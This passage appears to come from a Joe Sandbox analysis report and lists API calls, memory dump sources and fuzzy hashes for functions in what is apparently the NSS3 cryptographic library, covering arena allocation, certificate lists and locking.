Part of subcall function 6D031340: PL_ArenaGrow.NSS3(?,6CFCF599,?,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?), ref: 6D0313CF
Part of subcall function 6D031340: PR_Unlock.NSS3(?,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6D03A71A,6D03A71A,00000000), ref: 6D03A009
PR_SetError.NSS3(FFFFE013,00000000,6D03A71A,6D03A71A,00000000), ref: 6D03A045

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: e258c101100ae466c6458fcb19ee029ab3545d6202ae5e1cddf5d87260d89245
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 1821A4B4600217ABFB049F15DC50F3AB7A9FF85358F12C228D9298B381EB75E814CB91

Function 6D042DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D042E08

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_NewArena_Util.NSS3(00000400), ref: 6D042E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6D042E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D042E95

Part of subcall function 6D031200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CFD88A4,00000000,00000000), ref: 6D031228
Part of subcall function 6D031200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6D031238
Part of subcall function 6D031200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CFD88A4,00000000,00000000), ref: 6D03124B
Part of subcall function 6D031200: PR_CallOnce.NSS3(6D132AA4,6D0312D0,00000000,00000000,00000000,?,6CFD88A4,00000000,00000000), ref: 6D03125D
Part of subcall function 6D031200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6D03126F
Part of subcall function 6D031200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6D031280
Part of subcall function 6D031200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6D03128E
Part of subcall function 6D031200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6D03129A
Part of subcall function 6D031200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6D0312A1

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: c1c2423c0f1cb58d039ac6f218e5d413c4b7091d3361050a2892577ac4e07927
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: E321F9B1E143568BF710CF659D40F7B37A46F9530CF128279DE089B242F7B2E5948292

Function 6CFFACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CFFACC2

Part of subcall function 6CFD2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CFD2F0A
Part of subcall function 6CFD2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFD2F1D

Part of subcall function 6CFD2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CFD0A1B,00000000), ref: 6CFD2AF0
Part of subcall function 6CFD2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFD2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CFFAD5E

Part of subcall function 6D0157D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CFDB41E,00000000,00000000,?,00000000,?,6CFDB41E,00000000,00000000,00000001,?), ref: 6D0157E0
Part of subcall function 6D0157D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6D015843

CERT_DestroyCertList.NSS3(?), ref: 6CFFAD36

Part of subcall function 6CFD2F50: CERT_DestroyCertificate.NSS3(?), ref: 6CFD2F65
Part of subcall function 6CFD2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFD2F83

free.MOZGLUE(?), ref: 6CFFAD4F

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 579de2e96d0a9890d970b1033c0966dcc4c221f39939a4ef5a84b6f488d0b4d1
Instruction ID: ab64759008966ac3daff2fc934657f5611a9c016a4cff2e9922b303e0b3b9eb0
Opcode Fuzzy Hash: 579de2e96d0a9890d970b1033c0966dcc4c221f39939a4ef5a84b6f488d0b4d1
Instruction Fuzzy Hash: 5E21D8B1D002149BEB10DFA4D8056EE77F4EF05218F064068D814BB710F732AE56CBE1

Function 6D023C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6D023C9E
EnterCriticalSection.KERNEL32(?), ref: 6D023CAE
PR_Unlock.NSS3(?), ref: 6D023CEA
PR_SetError.NSS3(00000000,00000000), ref: 6D023D02

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: b5fd4408d69dc616717e04612daa19a2ddbde51e0bc1850812d78f8d9f90dea7
Instruction ID: 2fce6e2a351fa7c11e97ee1bb5cfe97c1cb88f81dcfab7ea5ad6879fd1792fea
Opcode Fuzzy Hash: b5fd4408d69dc616717e04612daa19a2ddbde51e0bc1850812d78f8d9f90dea7
Instruction Fuzzy Hash: C911D379A01204AFEB009F24EC48B9A37B9EF49364F558065ED089B312E771ED91CBE1

Function 6D02ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6D02F0AD,6D02F150,?,6D02F150,?,?,?), ref: 6D02ECBA

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6D02ECD1

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6D02ED02

Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6D02ED5A

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 490f7e81b07a2f6d1bd7b44b01e0455b10ed5c25492765ab177361e04f761dd7
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: BA21A1B1E457429BF700CF25D944B26B7E4BFA8348F16C219E81CCB661EB70E590C691

Function 6D024900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6D00C79F,?,?,6D025C4A,?), ref: 6D024950

Part of subcall function 6D028800: TlsGetValue.KERNEL32(?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028821
Part of subcall function 6D028800: TlsGetValue.KERNEL32(?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D02883D
Part of subcall function 6D028800: EnterCriticalSection.KERNEL32(?,?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028856
Part of subcall function 6D028800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6D028887
Part of subcall function 6D028800: PR_Unlock.NSS3(?,?,?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028899

TlsGetValue.KERNEL32(?,?,?), ref: 6D02496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D02497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D024989

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: bba9d96daedb237a82175fdc774ea38b92a8eb2b8ccb119cd774706ef684c8de
Instruction ID: ec8cfa457083102d44bed8509faa2369022bd2c9dbf7dbde22583598f9b476e5
Opcode Fuzzy Hash: bba9d96daedb237a82175fdc774ea38b92a8eb2b8ccb119cd774706ef684c8de
Instruction Fuzzy Hash: 3A113D79A05201BBFB215F34FC41B2A77F8FF5A368F454034EE4997212E7A1E8108B91

Function 6D05EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6D047FFA,?,6D049767,?,8B7874C0,0000A48E), ref: 6D05EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6D047FFA,?,6D049767,?,8B7874C0,0000A48E), ref: 6D05EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6D047FFA,?,6D049767,?,8B7874C0,0000A48E), ref: 6D05EE14

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

memcpy.VCRUNTIME140(?,?,6D049767,00000000,00000000,6D047FFA,?,6D049767,?,8B7874C0,0000A48E), ref: 6D05EE33

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 4364c0db2071661d52ebba8530dc9fbb21d6df96cca8501efe658ff73fd84d45
Instruction ID: 953797d71af09c0df658d373ca6e00a2c988849aa4423cfe3cb1cb77dc0e8ce6
Opcode Fuzzy Hash: 4364c0db2071661d52ebba8530dc9fbb21d6df96cca8501efe658ff73fd84d45
Instruction Fuzzy Hash: CF119AB5A14717ABFB109E65DE84B16B3A8AB04358F118431EE59C7240E331E870CBA2

Function 6CFDDFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CFF06A0: TlsGetValue.KERNEL32 ref: 6CFF06C2
Part of subcall function 6CFF06A0: EnterCriticalSection.KERNEL32(?), ref: 6CFF06D6
Part of subcall function 6CFF06A0: PR_Unlock.NSS3 ref: 6CFF06EB

CERT_NewCertList.NSS3 ref: 6CFDDFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CFDDFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CFDDFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFDE029

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 6eb4c7bbca37463c49da233c3c976512df63e2d88760c566e743e2f8ad24e79a
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 32112B72A04206ABEB111EA95C48BAFB6B8EB8035CF0F0534E918C7710E772F815D7E1

Function 6CFF8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFF8DE7
EnterCriticalSection.KERNEL32 ref: 6CFF8DFC
PR_Unlock.NSS3 ref: 6CFF8E2D
PR_SetError.NSS3 ref: 6CFF8E49

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 469cb3898562724f87868385877d5214d01ea8e09ac7ddecad4ba6f3a11ca406
Instruction ID: aa4d1dcda6054ce9e86686ad918cdf3ec32dd968e5ce60e38d158417812ea379
Opcode Fuzzy Hash: 469cb3898562724f87868385877d5214d01ea8e09ac7ddecad4ba6f3a11ca406
Instruction Fuzzy Hash: EB11C675509A009FD700AF78D48829ABBF4FF46714F014969DD98DB700E770E8A5CBD2

Function 6D07AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6D065F17,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D07AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6D065F17,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D07ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D07ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D07ACDB

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 9f5e9e05e27b1e1627744e7c41ca57b531ce60dfc56cc12097e3023263133962
Instruction ID: b3f7e9d18152de70449060085e16f1c81d7695a8f8067cced36a0b2a1b33a543
Opcode Fuzzy Hash: 9f5e9e05e27b1e1627744e7c41ca57b531ce60dfc56cc12097e3023263133962
Instruction Fuzzy Hash: E80171B5600B02ABE760DF39E909B53B7E8BF00665B104839E85EC7A00E735F055CBD1

Function 6CFE1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CFE1DFB

Part of subcall function 6CFD95B0: TlsGetValue.KERNEL32(00000000,?,6CFF00D2,00000000), ref: 6CFD95D2
Part of subcall function 6CFD95B0: EnterCriticalSection.KERNEL32(?,?,?,6CFF00D2,00000000), ref: 6CFD95E7
Part of subcall function 6CFD95B0: PR_Unlock.NSS3(?,?,?,?,6CFF00D2,00000000), ref: 6CFD9605

PR_EnterMonitor.NSS3 ref: 6CFE1E09

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

Part of subcall function 6CFDE190: PR_EnterMonitor.NSS3(?,?,6CFDE175), ref: 6CFDE19C
Part of subcall function 6CFDE190: PR_EnterMonitor.NSS3(6CFDE175), ref: 6CFDE1AA
Part of subcall function 6CFDE190: PR_ExitMonitor.NSS3 ref: 6CFDE208
Part of subcall function 6CFDE190: PL_HashTableRemove.NSS3(?), ref: 6CFDE219
Part of subcall function 6CFDE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFDE231
Part of subcall function 6CFDE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFDE249
Part of subcall function 6CFDE190: PR_ExitMonitor.NSS3 ref: 6CFDE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE1E37
PR_ExitMonitor.NSS3 ref: 6CFE1E4A

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: dda10a926096019c3514331d7a0b99bcf0408730084e45618fbce0dd5dff79c6
Instruction ID: 31eef091038d351f3d7899c00f02e24466878453d2e7e13734ac69638574f723
Opcode Fuzzy Hash: dda10a926096019c3514331d7a0b99bcf0408730084e45618fbce0dd5dff79c6
Instruction Fuzzy Hash: 3B018476A04211ABEA104B67FC00F9677A4AB45B4CF168031F9189BA52E771F814CBD1

Function 6CFE1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CFE1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CFE1D9C
free.MOZGLUE(00000000), ref: 6CFE1DB8

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 312a86287748ea6c5fa364e0ebe64cf3b266f6d4c343b3a4d13aa6e1f1ef433f
Instruction ID: 23ece78bc659154de97263bdeef8e4d144233ee0bd1dd43412bd35e3164be63b
Opcode Fuzzy Hash: 312a86287748ea6c5fa364e0ebe64cf3b266f6d4c343b3a4d13aa6e1f1ef433f
Instruction Fuzzy Hash: 61F0F9B7A0521477FB301F1B6C42F4B36589B89758F168235EE594BB42D761E40082E2

Function 6D07AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6D065D40,00000000,?,?,6D056AC6,6D06639C), ref: 6D07AC2D

Part of subcall function 6D01ADC0: TlsGetValue.KERNEL32(?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE10
Part of subcall function 6D01ADC0: EnterCriticalSection.KERNEL32(?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE24
Part of subcall function 6D01ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CFFD079,00000000,00000001), ref: 6D01AE5A
Part of subcall function 6D01ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE6F
Part of subcall function 6D01ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE7F
Part of subcall function 6D01ADC0: TlsGetValue.KERNEL32(?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AEB1
Part of subcall function 6D01ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AEC9

PK11_FreeSymKey.NSS3(?,6D065D40,00000000,?,?,6D056AC6,6D06639C), ref: 6D07AC44
